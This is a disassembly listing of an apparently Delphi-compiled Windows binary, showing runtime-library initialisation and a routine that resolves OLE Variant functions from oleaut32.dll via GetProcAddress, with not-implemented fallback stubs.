off_4001AEE0 dd offset dword_4001A9E8 dd offset off_4001B038 dd offset dword_4001A9E0 dd offset off_4001B050 dd offset dword_4001A9D8 dd offset off_4001AF44 dd offset dword_4001A9D0 dd offset off_4001AF94 dd offset dword_4001A9C8 dd offset off_4001AEBC dd offset dword_4001A9C0 dd offset off_4001AFB4 dd offset dword_4001A9B8 dd offset off_4001AFD4 dd offset dword_4001A9B0 dd offset off_4001AF70 dd offset dword_4001A9A8 dd offset off_4001AF78 dd offset dword_4001A9A0 dd offset off_4001B088 dd offset dword_4001A998 dd offset off_4001AF74 dd offset dword_4001A990 dd offset off_4001B0BC dd offset dword_4001A988 dd offset off_4001B004 dd offset dword_4001A980 dd offset off_4001AFEC dd offset dword_4001A978 dd offset off_4001B0C4 dd offset dword_4001A970 dd offset off_4001B0A8 dd offset dword_4001A968 dd offset off_4001AF88 dd offset dword_4001A960 dd offset off_4001B08C dd offset dword_4001A958 dd offset off_4001B094 dd offset dword_4001A950 dd offset off_4001AF34 dd offset dword_4001A948 dd offset off_4001AF0C dd offset dword_4001A940 dd offset off_4001AFE8 dd offset dword_4001A938 dd offset off_4001B034 dd offset dword_4001A930 dd offset off_4001AEC4 dd offset dword_4001A928 dd offset off_4001B084 dd offset dword_4001A920 dd offset off_4001AF84 dword_4000CA6C dd 28h dd offset off_4001A918 dd offset off_4001B078 dd 0 dd offset off_4001A914 dd offset off_4001AEE8 align 8 dd offset off_4001A910 dd offset off_4001B028 dd 0 dd offset off_4001A90C dd offset off_4001AED0 align 10h dd offset off_4001A908 dd offset off_4001AF18 dd 0 dd offset off_4001A904 dd offset off_4001AF10 dd 0 dd offset off_4001A900 dd offset off_4001AEF0 dd 0 dd offset off_4001A8FC dd offset off_4001AF80 align 10h dd offset off_4001A8F8 dd offset off_4001B000 dd 0 dd offset off_4001A8F4 dd offset off_4001AF14 align 8 dd offset off_4001A8F0 dd offset off_4001AFE0 dd 0 dd offset off_4001A8EC dd offset off_4001B04C align 10h dd offset off_4001A8E8 dd offset off_4001B040 dd 0 dd offset off_4001A8E4 dd offset off_4001B008 align 8 dd offset off_4001A8E0 dd offset off_4001AF6C dd 0 dd offset off_4001A8DC dd offset off_4001AF50 align 10h dd offset off_4001A8D8 dd offset off_4001AECC dd 0 dd offset off_4001A8D4 dd offset off_4001B03C align 8 dd offset off_4001A8D0 dd offset off_4001AFC4 dd 0 dd offset off_4001A8CC dd offset off_4001AF48 align 10h dd offset off_4001A8C8 dd offset off_4001AFB0 dd 0 dd offset off_4001A8C4 dd offset off_4001AFF8 align 8 dd offset off_4001A8C0 dd offset off_4001AFBC dd 0 dd offset off_4001A8BC dd offset off_4001AF58 align 10h dd offset off_4001A8B8 dd offset off_4001AEC8 dd 0 dd offset off_4001A8B4 dd offset off_4001AF9C align 8 dd offset off_4001A8B0 dd offset off_4001B098 dd 0 dd offset off_4001A8AC dd offset off_4001B070 align 10h dd offset off_4001A8A8 dd offset off_4001AFDC dd 0 dd offset off_4001A8A4 dd offset off_4001AF30 align 8 dd offset off_4001A8A0 dd offset off_4001AED8 dd 0 dd offset off_4001A89C dd offset off_4001B068 align 10h dd offset off_4001A898 dd offset off_4001B0D0 dd 0 dd offset off_4001A894 dd offset off_4001AEF4 dd 0 dd offset off_4001A890 dd offset off_4001AEB8 dd 0 dd offset off_4001A88C dd offset off_4001B080 align 10h dd offset off_4001A888 dd offset off_4001AFD8 dd 0 dd offset off_4001A884 dd offset off_4001B0AC align 8 dd offset off_4001A860 dd offset off_4001AF8C dd 0 dd offset off_4001A85C dd offset off_4001AF38 align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4000CC50 proc near ; DATA XREF: .text:40018370o push ebp mov ebp, esp xor eax, eax push ebp push offset loc_4000CDCF push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_4001E918 jnz loc_4000CDC1 mov eax, offset dword_4001F224 call sub_4000C970 mov eax, offset sub_4000C230 call sub_400060C4 call sub_4000C4B4 call sub_4000B7B0 mov eax, offset dword_4001A7DC call sub_40004884 mov eax, offset dword_4001A7E0 call sub_40005008 mov eax, offset dword_4001A7F4 call sub_40004884 mov eax, offset dword_4001E808 call sub_40004884 mov eax, offset dword_4001E814 call sub_40004884 mov eax, offset dword_4001E818 call sub_40004884 mov eax, offset dword_4001E820 call sub_40004884 mov eax, offset dword_4001E824 call sub_40004884 mov eax, offset dword_4001E828 call sub_40004884 mov eax, offset dword_4001E82C call sub_40004884 mov eax, offset dword_4001E830 mov ecx, 0Ch mov edx, ds:off_40001000 call sub_40005314 mov eax, offset dword_4001E860 mov ecx, 0Ch mov edx, ds:off_40001000 call sub_40005314 mov eax, offset dword_4001E890 mov ecx, 7 mov edx, ds:off_40001000 call sub_40005314 mov eax, offset dword_4001E8AC mov ecx, 7 mov edx, ds:off_40001000 call sub_40005314 mov eax, offset dword_4001E8D8 mov ecx, 7 mov edx, ds:off_40001000 call sub_40005314 mov eax, offset dword_4001E910 mov edx, ds:off_400077D8 call sub_40005B34 mov eax, offset dword_4001E914 mov edx, ds:off_400077FC call sub_40005B34 mov eax, offset off_4001A84C call sub_40004884 mov eax, offset off_4001A854 mov ecx, 2 mov edx, ds:off_40001000 call sub_40005314 mov eax, offset dword_4001A91C mov ecx, 7 mov edx, ds:off_4000B210 call sub_40005314 mov eax, offset off_4001A954 mov ecx, 16h mov edx, ds:off_4000B290 call sub_40005314 loc_4000CDC1: ; CODE XREF: sub_4000CC50+17j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4000CDD6 loc_4000CDCE: ; CODE XREF: sub_4000CC50+184j retn ; --------------------------------------------------------------------------- loc_4000CDCF: ; DATA XREF: sub_4000CC50+6o jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_4000CDCE ; --------------------------------------------------------------------------- loc_4000CDD6: ; CODE XREF: sub_4000CC50:loc_4000CDCEj ; DATA XREF: sub_4000CC50+179o pop ebp retn sub_4000CC50 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4000CDD8 proc near ; CODE XREF: sub_4000E35C+72p ; sub_4000E744+13p ... jmp ds:dword_40024660 sub_4000CDD8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4000CDE0 proc near ; CODE XREF: sub_4000E1E0+16Bp ; sub_4000E35C+Fp ... jmp ds:dword_4002465C sub_4000CDE0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4000CDE8 proc near ; CODE XREF: sub_4000E480+1B9p ; sub_4000E654+21p ... jmp ds:dword_40024658 sub_4000CDE8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4000CDF0 proc near ; CODE XREF: sub_4000CDF8+25p jmp ds:dword_40024654 sub_4000CDF0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4000CDF8 proc near ; DATA XREF: sub_4000D28C+12o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = word ptr 14h arg_10 = word ptr 18h push ebp mov ebp, esp cmp [ebp+arg_8], 400h jz short loc_4000CE0B mov eax, 80004001h jmp short loc_4000CE22 ; --------------------------------------------------------------------------- loc_4000CE0B: ; CODE XREF: sub_4000CDF8+Aj movzx eax, [ebp+arg_10] push eax movzx eax, [ebp+arg_C] push eax mov eax, [ebp+arg_4] push eax mov eax, [ebp+arg_0] push eax call sub_4000CDF0 loc_4000CE22: ; CODE XREF: sub_4000CDF8+11j pop ebp retn 14h sub_4000CDF8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4000CE28 proc near ; DATA XREF: sub_4000D28C+28o ; sub_4000D28C+3Eo push ebp mov ebp, esp mov eax, 80004001h pop ebp retn 8 sub_4000CE28 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4000CE34 proc near ; DATA XREF: sub_4000D28C+54o ; sub_4000D28C+6Ao ... push ebp mov ebp, esp mov eax, 80004001h pop ebp retn 0Ch sub_4000CE34 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4000CE40 proc near ; DATA XREF: sub_4000D28C+11Ao push ebp mov ebp, esp mov eax, 80004001h pop ebp retn 10h sub_4000CE40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4000CE4C proc near ; DATA XREF: sub_4000D28C+130o var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h push ebp mov ebp, esp push 0 push ebx xor eax, eax push ebp push offset loc_4000CEA6 push dword ptr fs:[eax] mov fs:[eax], esp cmp [ebp+arg_4], 400h jz short loc_4000CE70 mov ebx, 80004001h jmp short loc_4000CE90 ; --------------------------------------------------------------------------- loc_4000CE70: ; CODE XREF: sub_4000CE4C+1Bj lea eax, [ebp+var_4] mov edx, [ebp+arg_0] call sub_40004B0C mov eax, [ebp+var_4] mov edx, [ebp+arg_C] call sub_40007DEC and eax, 7Fh mov ebx, dword_4001AA08[eax*4] loc_4000CE90: ; CODE XREF: sub_4000CE4C+22j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4000CEAD loc_4000CE9D: ; CODE XREF: sub_4000CE4C+5Fj lea eax, [ebp+var_4] call sub_40004884 retn ; --------------------------------------------------------------------------- loc_4000CEA6: ; DATA XREF: sub_4000CE4C+9o jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_4000CE9D ; --------------------------------------------------------------------------- loc_4000CEAD: ; CODE XREF: sub_4000CE4C+59j ; DATA XREF: sub_4000CE4C+4Co mov eax, ebx pop ebx pop ecx pop ebp retn 10h sub_4000CE4C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4000CEB8 proc near ; DATA XREF: sub_4000D28C+146o var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h push ebp mov ebp, esp push 0 push ebx xor eax, eax push ebp push offset loc_4000CF12 push dword ptr fs:[eax] mov fs:[eax], esp cmp [ebp+arg_4], 400h jz short loc_4000CEDC mov ebx, 80004001h jmp short loc_4000CEFC ; --------------------------------------------------------------------------- loc_4000CEDC: ; CODE XREF: sub_4000CEB8+1Bj lea eax, [ebp+var_4] mov edx, [ebp+arg_0] call sub_40004B0C mov eax, [ebp+var_4] mov edx, [ebp+arg_C] call sub_40008EBC and eax, 7Fh mov ebx, dword_4001AA08[eax*4] loc_4000CEFC: ; CODE XREF: sub_4000CEB8+22j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4000CF19 loc_4000CF09: ; CODE XREF: sub_4000CEB8+5Fj lea eax, [ebp+var_4] call sub_40004884 retn ; --------------------------------------------------------------------------- loc_4000CF12: ; DATA XREF: sub_4000CEB8+9o jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_4000CF09 ; --------------------------------------------------------------------------- loc_4000CF19: ; CODE XREF: sub_4000CEB8+59j ; DATA XREF: sub_4000CEB8+4Co mov eax, ebx pop ebx pop ecx pop ebp retn 10h sub_4000CEB8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4000CF24 proc near ; DATA XREF: sub_4000D28C+15Co var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h push ebp mov ebp, esp push 0 push ebx xor eax, eax push ebp push offset loc_4000CF7E push dword ptr fs:[eax] mov fs:[eax], esp cmp [ebp+arg_4], 400h jz short loc_4000CF48 mov ebx, 80004001h jmp short loc_4000CF68 ; --------------------------------------------------------------------------- loc_4000CF48: ; CODE XREF: sub_4000CF24+1Bj lea eax, [ebp+var_4] mov edx, [ebp+arg_0] call sub_40004B0C mov eax, [ebp+var_4] mov edx, [ebp+arg_C] call sub_40008E90 and eax, 7Fh mov ebx, dword_4001AA08[eax*4] loc_4000CF68: ; CODE XREF: sub_4000CF24+22j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4000CF85 loc_4000CF75: ; CODE XREF: sub_4000CF24+5Fj lea eax, [ebp+var_4] call sub_40004884 retn ; --------------------------------------------------------------------------- loc_4000CF7E: ; DATA XREF: sub_4000CF24+9o jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_4000CF75 ; --------------------------------------------------------------------------- loc_4000CF85: ; CODE XREF: sub_4000CF24+59j ; DATA XREF: sub_4000CF24+4Co mov eax, ebx pop ebx pop ecx pop ebp retn 10h sub_4000CF24 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4000CF90 proc near ; DATA XREF: sub_4000D28C+172o var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h push ebp mov ebp, esp push 0 push ebx xor eax, eax push ebp push offset loc_4000CFEA push dword ptr fs:[eax] mov fs:[eax], esp cmp [ebp+arg_4], 400h jz short loc_4000CFB4 mov ebx, 80004001h jmp short loc_4000CFD4 ; --------------------------------------------------------------------------- loc_4000CFB4: ; CODE XREF: sub_4000CF90+1Bj lea eax, [ebp+var_4] mov edx, [ebp+arg_0] call sub_40004B0C mov eax, [ebp+var_4] mov edx, [ebp+arg_C] call sub_4000A780 and eax, 7Fh mov ebx, dword_4001AA08[eax*4] loc_4000CFD4: ; CODE XREF: sub_4000CF90+22j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4000CFF1 loc_4000CFE1: ; CODE XREF: sub_4000CF90+5Fj lea eax, [ebp+var_4] call sub_40004884 retn ; --------------------------------------------------------------------------- loc_4000CFEA: ; DATA XREF: sub_4000CF90+9o jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_4000CFE1 ; --------------------------------------------------------------------------- loc_4000CFF1: ; CODE XREF: sub_4000CF90+59j ; DATA XREF: sub_4000CF90+4Co mov eax, ebx pop ebx pop ecx pop ebp retn 10h sub_4000CF90 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4000CFFC proc near ; DATA XREF: sub_4000D28C+188o var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h push ebp mov ebp, esp push 0 push ebx xor eax, eax push ebp push offset loc_4000D056 push dword ptr fs:[eax] mov fs:[eax], esp cmp [ebp+arg_4], 400h jz short loc_4000D020 mov ebx, 80004001h jmp short loc_4000D040 ; --------------------------------------------------------------------------- loc_4000D020: ; CODE XREF: sub_4000CFFC+1Bj lea eax, [ebp+var_4] mov edx, [ebp+arg_0] call sub_40004B0C mov eax, [ebp+var_4] mov edx, [ebp+arg_C] call sub_40008EE8 and eax, 7Fh mov ebx, dword_4001AA08[eax*4] loc_4000D040: ; CODE XREF: sub_4000CFFC+22j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4000D05D loc_4000D04D: ; CODE XREF: sub_4000CFFC+5Fj lea eax, [ebp+var_4] call sub_40004884 retn ; --------------------------------------------------------------------------- loc_4000D056: ; DATA XREF: sub_4000CFFC+9o jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_4000D04D ; --------------------------------------------------------------------------- loc_4000D05D: ; CODE XREF: sub_4000CFFC+59j ; DATA XREF: sub_4000CFFC+4Co mov eax, ebx pop ebx pop ecx pop ebp retn 10h sub_4000CFFC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4000D068 proc near ; DATA XREF: sub_4000D28C+19Eo var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h push ebp mov ebp, esp add esp, 0FFFFFFF8h push ebx xor eax, eax mov [ebp+var_8], eax xor eax, eax push ebp push offset loc_4000D0D5 push dword ptr fs:[eax] mov fs:[eax], esp cmp [ebp+arg_4], 400h jz short loc_4000D092 mov ebx, 80004001h jmp short loc_4000D0BF ; --------------------------------------------------------------------------- loc_4000D092: ; CODE XREF: sub_4000D068+21j lea eax, [ebp+var_8] mov edx, [ebp+arg_0] call sub_40004B0C mov eax, [ebp+var_8] lea edx, [ebp+var_1] call sub_40007F40 and eax, 7Fh mov ebx, dword_4001AA08[eax*4] cmp [ebp+var_1], 1 cmc sbb eax, eax mov edx, [ebp+arg_C] mov [edx], ax loc_4000D0BF: ; CODE XREF: sub_4000D068+28j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4000D0DC loc_4000D0CC: ; CODE XREF: sub_4000D068+72j lea eax, [ebp+var_8] call sub_40004884 retn ; --------------------------------------------------------------------------- loc_4000D0D5: ; DATA XREF: sub_4000D068+Fo jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_4000D0CC ; --------------------------------------------------------------------------- loc_4000D0DC: ; CODE XREF: sub_4000D068+6Cj ; DATA XREF: sub_4000D068+5Fo mov eax, ebx pop ebx pop ecx pop ecx pop ebp retn 10h sub_4000D068 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4000D0E8 proc near ; DATA XREF: sub_4000D28C+1B4o var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_10 = dword ptr 18h push ebp mov ebp, esp push 0 push ebx mov eax, [ebp+arg_10] test eax, eax jz short loc_4000D0F9 xor edx, edx mov [eax], edx loc_4000D0F9: ; CODE XREF: sub_4000D0E8+Bj xor eax, eax push ebp push offset loc_4000D148 push dword ptr fs:[eax] mov fs:[eax], esp cmp [ebp+arg_8], 400h jz short loc_4000D117 mov ebx, 80004001h jmp short loc_4000D132 ; --------------------------------------------------------------------------- loc_4000D117: ; CODE XREF: sub_4000D0E8+26j push [ebp+arg_4] push [ebp+arg_0] lea eax, [ebp+var_4] call sub_40008E44 mov edx, [ebp+var_4] mov eax, [ebp+arg_10] call sub_40005158 xor ebx, ebx loc_4000D132: ; CODE XREF: sub_4000D0E8+2Dj xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4000D14F loc_4000D13F: ; CODE XREF: sub_4000D0E8+65j lea eax, [ebp+var_4] call sub_40004884 retn ; --------------------------------------------------------------------------- loc_4000D148: ; DATA XREF: sub_4000D0E8+14o jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_4000D13F ; --------------------------------------------------------------------------- loc_4000D14F: ; CODE XREF: sub_4000D0E8+5Fj ; DATA XREF: sub_4000D0E8+52o mov eax, ebx pop ebx pop ecx pop ebp retn 14h sub_4000D0E8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4000D158 proc near ; DATA XREF: sub_4000D28C+1CAo var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_10 = dword ptr 18h push ebp mov ebp, esp push 0 push ebx mov eax, [ebp+arg_10] test eax, eax jz short loc_4000D169 xor edx, edx mov [eax], edx loc_4000D169: ; CODE XREF: sub_4000D158+Bj xor eax, eax push ebp push offset loc_4000D1BA push dword ptr fs:[eax] mov fs:[eax], esp cmp [ebp+arg_8], 400h jz short loc_4000D187 mov ebx, 80004001h jmp short loc_4000D1A4 ; --------------------------------------------------------------------------- loc_4000D187: ; CODE XREF: sub_4000D158+26j push [ebp+arg_4] push [ebp+arg_0] lea eax, [ebp+var_4] xor edx, edx call sub_40009E60 mov eax, [ebp+arg_10] mov edx, [ebp+var_4] call sub_40005158 xor ebx, ebx loc_4000D1A4: ; CODE XREF: sub_4000D158+2Dj xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4000D1C1 loc_4000D1B1: ; CODE XREF: sub_4000D158+67j lea eax, [ebp+var_4] call sub_40004884 retn ; --------------------------------------------------------------------------- loc_4000D1BA: ; DATA XREF: sub_4000D158+14o jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_4000D1B1 ; --------------------------------------------------------------------------- loc_4000D1C1: ; CODE XREF: sub_4000D158+61j ; DATA XREF: sub_4000D158+54o mov eax, ebx pop ebx pop ecx pop ebp retn 14h sub_4000D158 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4000D1CC proc near ; DATA XREF: sub_4000D28C+1E0o var_4 = dword ptr -4 arg_0 = word ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h push ebp mov ebp, esp push 0 push ebx mov eax, [ebp+arg_C] test eax, eax jz short loc_4000D1DD xor edx, edx mov [eax], edx loc_4000D1DD: ; CODE XREF: sub_4000D1CC+Bj xor eax, eax push ebp push offset loc_4000D230 push dword ptr fs:[eax] mov fs:[eax], esp cmp [ebp+arg_4], 400h jz short loc_4000D1FB mov ebx, 80004001h jmp short loc_4000D21A ; --------------------------------------------------------------------------- loc_4000D1FB: ; CODE XREF: sub_4000D1CC+26j cmp [ebp+arg_0], 1 sbb eax, eax inc eax lea ecx, [ebp+var_4] xor edx, edx call sub_40007FDC mov edx, [ebp+var_4] mov eax, [ebp+arg_C] call sub_40005158 xor ebx, ebx loc_4000D21A: ; CODE XREF: sub_4000D1CC+2Dj xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4000D237 loc_4000D227: ; CODE XREF: sub_4000D1CC+69j lea eax, [ebp+var_4] call sub_40004884 retn ; --------------------------------------------------------------------------- loc_4000D230: ; DATA XREF: sub_4000D1CC+14o jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_4000D227 ; --------------------------------------------------------------------------- loc_4000D237: ; CODE XREF: sub_4000D1CC+63j ; DATA XREF: sub_4000D1CC+56o mov eax, ebx pop ebx pop ecx pop ebp retn 10h sub_4000D1CC endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4000D240 proc near ; CODE XREF: sub_4000E480+EEp jmp ds:dword_40024650 sub_4000D240 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4000D248 proc near ; CODE XREF: sub_4000E1E0+AFp ; sub_4000E480+99p jmp ds:dword_4002464C sub_4000D248 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4000D250 proc near ; CODE XREF: sub_4000E1E0+CBp ; sub_4000E480+B5p jmp ds:dword_40024648 sub_4000D250 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4000D258 proc near ; CODE XREF: sub_4000E1E0+142p ; sub_4000E480+16Bp ... jmp ds:dword_40024644 sub_4000D258 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4000D260 proc near ; CODE XREF: sub_4000D28C+1Cp ; sub_4000D28C+32p ... arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx mov ebx, edx mov edx, ebx mov ecx, [ebp+arg_0] cmp dword ptr [ecx-4], 0 jz short loc_4000D286 push eax mov eax, [ebp+arg_0] mov eax, [eax-4] push eax call sub_400065A8 ; GetProcAddress mov edx, eax test edx, edx jnz short loc_4000D286 mov edx, ebx loc_4000D286: ; CODE XREF: sub_4000D260+Fj ; sub_4000D260+22j mov eax, edx pop ebx pop ebp retn sub_4000D260 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4000D28C proc near ; CODE XREF: .itext:4001913Dp var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push offset dword_4000D484 call sub_400065A0 ; GetModuleHandleA mov [ebp+var_4], eax push ebp mov edx, offset sub_4000CDF8 mov eax, offset aVariantchanget ; "VariantChangeTypeEx" call sub_4000D260 pop ecx mov ds:dword_4001F228, eax push ebp mov edx, offset sub_4000CE28 mov eax, offset aVarneg ; "VarNeg" call sub_4000D260 pop ecx mov ds:dword_4001F22C, eax push ebp mov edx, offset sub_4000CE28 mov eax, offset aVarnot ; "VarNot" call sub_4000D260 pop ecx mov ds:dword_4001F230, eax push ebp mov edx, offset sub_4000CE34 mov eax, offset aVaradd ; "VarAdd" call sub_4000D260 pop ecx mov ds:dword_4001F234, eax push ebp mov edx, offset sub_4000CE34 mov eax, offset aVarsub ; "VarSub" call sub_4000D260 pop ecx mov ds:dword_4001F238, eax push ebp mov edx, offset sub_4000CE34 mov eax, offset aVarmul ; "VarMul" call sub_4000D260 pop ecx mov ds:dword_4001F23C, eax push ebp mov edx, offset sub_4000CE34 mov eax, offset aVardiv ; "VarDiv" call sub_4000D260 pop ecx mov ds:dword_4001F240, eax push ebp mov edx, offset sub_4000CE34 mov eax, offset aVaridiv ; "VarIdiv" call sub_4000D260 pop ecx mov ds:dword_4001F244, eax push ebp mov edx, offset sub_4000CE34 mov eax, offset aVarmod ; "VarMod" call sub_4000D260 pop ecx mov ds:dword_4001F248, eax push ebp mov edx, offset sub_4000CE34 mov eax, offset aVarand ; "VarAnd" call sub_4000D260 pop ecx mov ds:dword_4001F24C, eax push ebp mov edx, offset sub_4000CE34 mov eax, offset aVaror ; "VarOr" call sub_4000D260 pop ecx mov ds:dword_4001F250, eax push ebp mov edx, offset sub_4000CE34 mov eax, offset aVarxor ; "VarXor" call sub_4000D260 pop ecx mov ds:dword_4001F254, eax push ebp mov edx, offset sub_4000CE40 mov eax, offset aVarcmp ; "VarCmp" call sub_4000D260 pop ecx mov ds:dword_4001F258, eax push ebp mov edx, offset sub_4000CE4C mov eax, offset aVari4fromstr ; "VarI4FromStr" call sub_4000D260 pop ecx mov ds:dword_4001F25C, eax push ebp mov edx, offset sub_4000CEB8 mov eax, offset aVarr4fromstr ; "VarR4FromStr" call sub_4000D260 pop ecx mov ds:dword_4001F260, eax push ebp mov edx, offset sub_4000CF24 mov eax, offset aVarr8fromstr ; "VarR8FromStr" call sub_4000D260 pop ecx mov ds:dword_4001F264, eax push ebp mov edx, offset sub_4000CF90 mov eax, offset aVardatefromstr ; "VarDateFromStr" call sub_4000D260 pop ecx mov ds:dword_4001F268, eax push ebp mov edx, offset sub_4000CFFC mov eax, offset aVarcyfromstr ; "VarCyFromStr" call sub_4000D260 pop ecx mov ds:dword_4001F26C, eax push ebp mov edx, offset sub_4000D068 mov eax, offset aVarboolfromstr ; "VarBoolFromStr" call sub_4000D260 pop ecx mov ds:dword_4001F270, eax push ebp mov edx, offset sub_4000D0E8 mov eax, offset aVarbstrfromcy ; "VarBstrFromCy" call sub_4000D260 pop ecx mov ds:dword_4001F274, eax push ebp mov edx, offset sub_4000D158 mov eax, offset aVarbstrfromdat ; "VarBstrFromDate" call sub_4000D260 pop ecx mov ds:dword_4001F278, eax push ebp mov edx, offset sub_4000D1CC mov eax, offset aVarbstrfromboo ; "VarBstrFromBool" call sub_4000D260 pop ecx mov ds:dword_4001F27C, eax pop ecx pop ebp retn sub_4000D28C endp ; --------------------------------------------------------------------------- dword_4000D484 dd 61656C6Fh, 32337475h, 6C6C642Eh, 0aVariantchanget db 'VariantChangeTypeEx',0 ; DATA XREF: sub_4000D28C+17o aVarneg db 'VarNeg',0 ; DATA XREF: sub_4000D28C+2Do align 10h aVarnot db 'VarNot',0 ; DATA XREF: sub_4000D28C+43o align 4 aVaradd db 'VarAdd',0 ; DATA XREF: sub_4000D28C+59o align 10h aVarsub db 'VarSub',0 ; DATA XREF: sub_4000D28C+6Fo align 4 aVarmul db 'VarMul',0 ; DATA XREF: sub_4000D28C+85o align 10h aVardiv db 'VarDiv',0 ; DATA XREF: sub_4000D28C+9Bo align 4 aVaridiv db 'VarIdiv',0 ; DATA XREF: sub_4000D28C+B1o aVarmod db 'VarMod',0 ; DATA XREF: sub_4000D28C+C7o align 4 aVarand db 'VarAnd',0 ; DATA XREF: sub_4000D28C+DDo align 10h aVaror db 'VarOr',0 ; DATA XREF: sub_4000D28C+F3o align 4 aVarxor db 'VarXor',0 ; DATA XREF: sub_4000D28C+109o align 10h aVarcmp db 'VarCmp',0 ; DATA XREF: sub_4000D28C+11Fo align 4 aVari4fromstr db 'VarI4FromStr',0 ; DATA XREF: sub_4000D28C+135o align 4 aVarr4fromstr db 'VarR4FromStr',0 ; DATA XREF: sub_4000D28C+14Bo align 4 aVarr8fromstr db 'VarR8FromStr',0 ; DATA XREF: sub_4000D28C+161o align 4 aVardatefromstr db 'VarDateFromStr',0 ; DATA XREF: sub_4000D28C+177o align 4 aVarcyfromstr db 'VarCyFromStr',0 ; DATA XREF: sub_4000D28C+18Do align 4 aVarboolfromstr db 'VarBoolFromStr',0 ; DATA XREF: sub_4000D28C+1A3o align 4 aVarbstrfromcy db 'VarBstrFromCy',0 ; DATA XREF: sub_4000D28C+1B9o align 4 aVarbstrfromdat db 'VarBstrFromDate',0 ; DATA XREF: sub_4000D28C+1CFo aVarbstrfromboo db 'VarBstrFromBool',0 ; DATA XREF: sub_4000D28C+1E5o ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4000D598 proc near ; DATA XREF: .text:40018378o push ebp mov ebp, esp xor eax, eax push ebp push offset loc_4000D5BD push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_4001F280 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4000D5C4 loc_4000D5BC: ; CODE XREF: sub_4000D598+2Aj retn ; 